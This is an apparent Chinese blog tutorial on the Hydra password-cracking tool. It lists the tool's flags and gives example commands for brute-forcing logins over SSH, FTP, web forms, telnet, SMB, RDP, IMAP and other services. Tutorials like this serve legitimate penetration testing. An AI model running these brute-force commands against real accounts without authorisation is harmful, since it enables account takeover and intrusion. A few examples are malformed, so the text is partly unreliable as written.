hydra使用

參數詳解

-R
繼續從上一次進度接着破解

-S
大寫,採用SSL鏈接

-s
小寫,可通過這個參數指定非默認端口

-l
指定破解的用戶,對特定用戶破解

-L
指定用戶名字典

-p
小寫,指定密碼破解,少用,一般是採用密碼字典

-P
大寫,指定密碼字典

-e
可選選項,n:空密碼試探,s:使用指定用戶和密碼試探

-C
使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數

-M
指定目標列表文件一行一條

-o
指定結果輸出文件

-f
在使用-M參數以後,找到第一對登錄名或者密碼的時候中止破解

-t
同時運行的線程數,默認爲16

-w

-v / -V
顯示詳細過程

server
目標ip

service
指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT
可選項
eg:
破解ssh:

hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh

也可以使用 -o 選項指定結果輸出文件。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

破解ftp

# hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
# hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV

get方式提交,破解web登錄:

# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
  # hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php

post方式提交,破解web登錄:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

說明:破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數爲1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是採用http 的post 方式提交的表單密碼破解。

破解https:

`hydra -m /index.php -l muts -P pass.txt 10.36.16.18` https

破解telnet:

# hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V

破解teamspeak:

# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak

破解cisco:

# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

post方式提交,破解web登錄:

hydra -l 用戶名 -P 密碼字典 -s 80 ip

http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

下載
windows
教程
使用
web
參考
學習

發佈了31 篇原創文章 · 獲贊 19 · 訪問量 3064
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章